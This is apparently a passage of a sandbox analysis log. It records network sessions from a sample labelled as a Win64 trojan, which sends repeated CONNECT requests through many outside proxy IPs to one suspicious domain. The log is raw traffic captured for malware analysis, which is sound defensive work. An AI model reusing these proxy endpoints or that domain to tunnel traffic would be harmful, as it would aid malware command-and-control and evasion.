568	192.168.2.8	51864	72.210.252.134	46164	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.850718975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
569	192.168.2.8	50046	203.19.38.114	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.865571022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.991769075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.049463034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.185971022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.554466963 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Fri, 23 Feb 2024 13:28:38 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
570	192.168.2.8	51499	207.180.198.241	60148	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.870955944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.991666079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.049457073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.185986042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
571	192.168.2.8	50230	147.45.40.15	31554	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.947938919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
572	192.168.2.8	50261	161.97.170.209	16521	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.949520111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.991796970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
573	192.168.2.8	51860	211.222.252.187	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.950906992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
574	192.168.2.8	50301	85.187.151.27	30016	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.952044010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.991796970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.992002010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.992260933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
575	192.168.2.8	51853	188.166.230.38	16813	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.987802029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.694901943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.695605993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.679781914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.679708004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.695067883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.695341110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
576	192.168.2.8	51896	172.67.231.3	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.991890907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.084117889 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
577	192.168.2.8	51848	103.231.78.36	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:25.992222071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
578	192.168.2.8	51862	115.74.158.40	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.013108969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
579	192.168.2.8	51869	211.222.252.187	8193	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.013443947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
580	192.168.2.8	51893	72.210.221.197	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.024343967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
581	192.168.2.8	51521	41.74.91.244	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.037640095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.194823027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.195144892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.288892984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
582	192.168.2.8	50147	108.61.168.184	44722	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.043277025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.104345083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.187791109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.288813114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:50.288773060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:02.301898003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:14.417119026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
583	192.168.2.8	51692	142.54.235.9	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.069632053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
584	192.168.2.8	51940	185.238.228.240	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.174856901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.261748075 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
585	192.168.2.8	51868	118.91.175.146	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.175649881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
586	192.168.2.8	51886	103.127.1.130	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.190228939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
587	192.168.2.8	51977	162.159.246.135	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.190283060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.278248072 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
588	192.168.2.8	50425	201.71.3.42	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.190517902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
589	192.168.2.8	50551	109.205.181.27	16296	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.196233988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.194974899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.195159912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.288913965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
590	192.168.2.8	50419	103.146.137.9	1081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.196518898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
591	192.168.2.8	51967	23.94.50.198	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.196881056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.585510015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
592	192.168.2.8	50386	103.182.112.11	5000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.197288036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
593	192.168.2.8	51918	72.210.252.134	46164	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.197446108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
594	192.168.2.8	51535	172.105.52.78	31106	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.200082064 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.272699118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.288727999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.289021969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
595	192.168.2.8	51534	178.128.82.105	2706	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.200542927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382318974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.382764101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.492317915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
596	192.168.2.8	51968	23.152.40.14	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.201000929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
597	192.168.2.8	51921	64.225.64.71	19833	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.203600883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
598	192.168.2.8	51920	84.39.112.144	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.204109907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
599	192.168.2.8	50530	195.164.138.34	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.204246044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
600	192.168.2.8	51895	103.23.100.1	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.204896927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
601	192.168.2.8	50467	181.191.94.126	8999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.205046892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.436732054 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
602	192.168.2.8	50444	193.136.97.17	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.222290039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382404089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
603	192.168.2.8	51950	146.59.70.29	6147	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.250245094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.882303953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.499403000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.695045948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
604	192.168.2.8	51969	46.182.6.69	46383	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:26.250250101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
